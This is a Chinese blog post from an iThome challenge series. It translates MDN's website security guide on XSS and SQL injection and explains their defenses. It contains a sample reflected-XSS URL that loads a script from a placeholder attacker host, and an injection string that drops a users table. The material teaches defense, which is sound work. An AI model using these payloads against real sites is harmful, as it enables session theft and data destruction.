iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 12
1

出處 , 也有簡體版 (https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security)

威脅

這裡列出常見的威脅 , 可以邊閱讀邊注意到哪些威脅最容易得逞

XSS (Cross-Site Scripting)

C-side user 利用 browser 注入的的腳本 ( script ) 攻擊 , 原理是用被信任的 code 拿到被授權的 cookie , 使用這個 cookie 來登入且取得資料 ( 如信用卡資料 、 聯絡資料 )

Note : XSS 漏洞是最~常碰到的威脅類型

XSS 依照網站回傳的注入腳本碼 , 被分為 reflected & persistent ( 反射及久駐 )

  • Reflected 在 user 的內容通過 server 時發生 , 而且那些內容不可修改 、 立即回傳 ,
    任何在原始 user 內容裡的腳本碼會在 page loaded 階段被執行 。
    例如 : 運用搜尋欄位做手腳 , 搜尋字串輸入腳本碼 , 使之成為 URL 參數
    http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script> ; 或是發送攻擊信件 , 誘使 user 點擊有興趣的連結觸發腳本 。
  • Persistent 在惡意腳本碼被存放在網站時發生 , 讓 user 無法修改 、 寫入 ( 蛤? )
    例如 : 討論區裡的評論欄位寫入 HTML 語法 , 把惡意腳本碼放在裡面 。 當評論送出後呈現 , 它就開始執行 , 回傳一些需要使用者登入的資訊 。 這類攻擊很流行又有效 , 因為攻擊的人可不用直接接觸到受害者 ( 蛤?again )

POST, GET req 是 XSS 很常見的攻擊行徑, 任何從 browser 取得的資料都有潛在的危險 , 像是 cookie, user 上傳的檔案

最好的防禦就是攻擊移除或禁用可藏 code 的標籤 , 像是 <script>, <object>, <embed>, <link>

修改 user 資料使其無法使用腳本碼 , 或影響 server code , 被稱作 input 消毒 ( input sanitization ) 。 很多框架會自動預設消毒 HTML <input>

SQL injection

在 db 執行隨意的 SQL code , 讓資料備存取 、 刪改 , 無視使用者權限 。 它會假造一個管理者 , 進行 server data 存取 、 破壞或竄改以致失常

SQL 注入的原理是根據 boolean errors & Time-based
( 這段好難翻 + SQL 學過但沒在用都盡量忘光 , 不過我還是搭配簡體版努力看看)

舉例 : 下面這段 code 是HTML form 要填入文字 , 目的要從所有 users 中 , 抓出名字被輸入的那位
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
如果是好好輸入真的名字 , 那段 code 會正確的執行 。 但惡人手賤惡意輸入會使 SQL 產生新的完全不同的行為:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
( 這裡把原本輸入 userName 改成 a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't )
這個修改後的 staement 是一個有效的 SQL statement , 用來刪除 users table !除了刪除 , 它還 selects userinfo table 。
這樣輸入有效進行攻擊的原因在於 , 第一部分的注入文字 a'; 讓原本的 statement 已經執行完畢 。

要避免這類攻擊 , 必須確保任何可以通過 SQL query 的 user data 不能改動 nature of the query 。 其中一種方式就是讓 user 的 input 如果含有 SQL statement 就跳脫所有字元( \ 反斜線符號 ) 如下 :
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

框架通常會框架通常會為開發者做到跳脫字元 。 Django 就是一個例子


上一篇
11日: Server-side web frameworks ( 幾個正夯的框架? 活潑哦? )
下一篇
13日: Website security ( 網站安全性: Cross-Site Request Forgery 、 Other threats )
系列文
還在想要買哪一堂線上課程嗎?培養看文件的習慣吧!用 MDN 文件學後端:NodeJS & MongooseDB30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言